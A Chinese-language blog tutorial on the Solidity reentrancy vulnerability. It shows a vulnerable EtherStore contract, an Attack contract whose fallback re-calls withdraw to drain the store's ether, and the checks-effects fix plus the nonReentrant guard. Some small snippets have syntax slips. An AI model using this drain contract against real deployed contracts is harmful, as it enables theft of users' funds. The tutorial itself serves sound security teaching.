# Solidity Reentry

By [Fuzzingq](https://paragraph.com/@liusy) · 2023-11-10

---

前置知识
----

solidity智能合约的转账主要通过send,transfer,call等函数实现。

    msg.sender.transfer(msg.value)
    
    msg.sender.send(msg.value)
    
    msg.sender.call{value: msg.value}()
    

三者的主要区别在于:

1.  send transfer均有2300的最大gas消耗限制,如果一次操作消耗的gas大于2300,则操作失败。call方法执行则没有gas消耗限制
    
2.  transfer函数执行在失败后会回滚状态并终止后续步骤执行,而send和call函数则在失败时返回false,并不结束后续操作
    
3.  call函数在调用后会执行调用者的fallback函数,并将所有可用gas交给fallback函数使用
    
4.  transfer和send均为call函数的封装
    

总结下来看transfer在使用时最为安全（失败时会抛出异常并执行回滚操作）,而send和call在使用时需要通过返回值的true/false来判断转账操作是否执行成功

漏洞成因
----

由于call函数没有2300gas的限制,导致在fallback函数中可以执行非常复杂的操作,包括再次向目标合约发起执行call操作的函数请求再次发起转账（由于gas不限制,因此可以执行复杂逻辑比如转账）。简单demo如下:

    contract A {
        function withdraw() public {
            (bool sent,) = msg.sender.call{value:1 ether};
            require(sent, "Failed to send Ether");
        }
    }
    
    contract B {
        A public a;
        constructor(address AddressOfContract_A) {
            a = A(AddressOfContract_A);
        }
    
        fallback() external payable {
            a.withdraw(); 
        }
    
        function attack() external payable {
            A.withdraw()
        }
    }
    

可以看到当合约B调用attack函数时 会调用合约A的withdraw函数,withdraw会调用call方法向调用方(在这里也就是B的合约地址)转账。 在call函数转账成功后,会调用B合约的fallback函数。可以看到fallback函数中再次调用了A合约的withdraw方法,也就是说再次调用了call函数进行转账。而在这次call函数调用成功后,又回再次跳到B合约的fallback函数执行,在这次fallback中又会再次调用A合约的withdraw函数进行转账…… 由此形成类似递归调用的逻辑,最终B函数通过一次withdraw调用可以把A合约中所有的ether转移走。这也就是重入漏洞的成因了。

再进一步
----

看如下合约代码:

    pragma solidity ^0.8.0;
    
    contract EtherStore {
        mapping(address => uint) public balances;
    
        // 向银行合约地址中存入ether
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
    
        // 从银行中取出所存的所有ether
        function withdraw() public {
            uint bal = balances[msg.sender];                    //获取msg.sender在合约中的所有ether数量
            require(bal > 0);                                   //需要存钱数量大于0才能进行取款操作
    
            (bool sent,) = msg.sender.call{value: bal}("");     //调用call方法将ether取出
            require(sent, "Failed to send Ether");              //判断call执行是否成功
    
            balances[msg.sender] = 0;                           //取钱成功后,将msg.sender存钱金额记录为0（因为ether已经通过call全部取出了
        }
    
        function getBalance() public view returns (uint) {
            return address(this).balance;                       // 获取该合约中的所有ether数量
        }
    
        fallback() external payable {}
    }
    

分析代码可以看出这是一个类似银行存储的合约,用户可以通过deposit函数存一定数量的ether,可以通过withdraw函数取走所有存储的ether。 可以看到:

*   在执行call操作之前,代码逻辑判断可当前账户存款数是否大于0 大于0时才会有提取逻辑
    
*   执行完call操作转账后后,通过balances\[msg.sender\] = 0设置存储金额为0
    

思路是在转账完成后将存款金额置0,这样即使通过重入攻击再次调用withdraw函数,也会因为无法绕过判断require(bal > 0)而无法操作。然而事实上并不是这样。在我们理解了call和重入漏洞之后可以知道,fallback函数的调用是在call函数调用完成之后立即进行的,也就是其调用时间是早于balances\[msg.sender\] = 0这一行代码执行的,因为当通过fallback函数再次调用withdraw时,balances\[msg.sender\]并不等于0,因此require(bal > 0)判断条件成立,再次执行call操作再次转账。简单来讲 函数的执行逻辑并不像开发者所想的那样是:

attack -> withdraw -> call -> balances\[msg.sender\] = 0 -> fallback -> withdraw -> require(bal > 0)失败 调用链结束

而是:

attack -> withdraw -> call -> fallback -> withdraw -> fallback -> withdraw -> …… -> address(this).balance = 0 call无法转账 -> balances\[msg.sender\] = 0

也就是说,重入攻击仍然可以进行。我们可以写出如下攻击合约:通过调用attack函数即可完成攻击

    contract Attack {
        EtherStore public etherStore;
    
        constructor(address payable _etherStoreAddress) {
            etherStore = EtherStore(_etherStoreAddress);
        }
        fallback() external payable {
            if (address(etherStore).balance >= 1 ether) {
                etherStore.withdraw();
            }
        }
        function attack() external payable {
            
            etherStore.deposit{value: 1 ether}();
            etherStore.withdraw();
        }
    }
    

方便调试,笔者已经将两个合约都部署到了Rinkeby测试网络中便于各位调试,合于地址分别为: EtherStore: 0xe732C451cFaF6e03B4189B64A18310A60758635B Attack: 0x380b184C3C5F20C2f5b58fD54B543c68A4B3dB78

在理解了这段代码之后,也就很好知道如何修复这个问题了,我们只需要将 balances\[msg.sender\] = 0; 这行代码移到call调用之前执行即可,这样一来在第一次调用withdraw时,会先将balances\[msg.sender\]置为0在进行call转账操作。那么当转账成功后fallback再次调用withdraw时,balances\[msg.sender\]就已经为0了。此时require(bal > 0)判断无法绕过也就不会再次进行转账了。

    function withdraw() public {
            uint bal = balances[msg.sender];                    //获取msg.sender在合约中的所有ether数量
            require(bal > 0);                                   //需要存钱数量大于0才能进行取款操作
    
            balances[msg.sender] = 0;                           //先将msg.sender存钱金额记录为0,在执行call进行转账
    
            (bool sent,) = msg.sender.call{value: bal}("");     //调用call方法将ether取出
            require(sent, "Failed to send Ether");              //判断call执行是否成功
        }
    

除了上述的解决方案之外,solidity本身也提供了一些方案用于解决重入攻击:

1.  在使用call函数进行转账时,可以通过call.value{gas:2300} 进行gas消耗限制(这种做法不被推荐,笔者也没详究原因)
    
2.  使用OpenZeppelin提供的nonReentrant修饰符对转账函数进行修饰。相当于对被调用函数加互斥锁防止其被重复调用。
    

参考文献
----

\[1\][https://solidity-by-example.org/fallback/](https://solidity-by-example.org/fallback/)

\[2\][https://solidity-by-example.org/call/](https://solidity-by-example.org/call/) \[3\][https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard-nonReentrant--](https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard-nonReentrant--)

---

*Originally published on [Fuzzingq](https://paragraph.com/@liusy/solidity-reentry)*
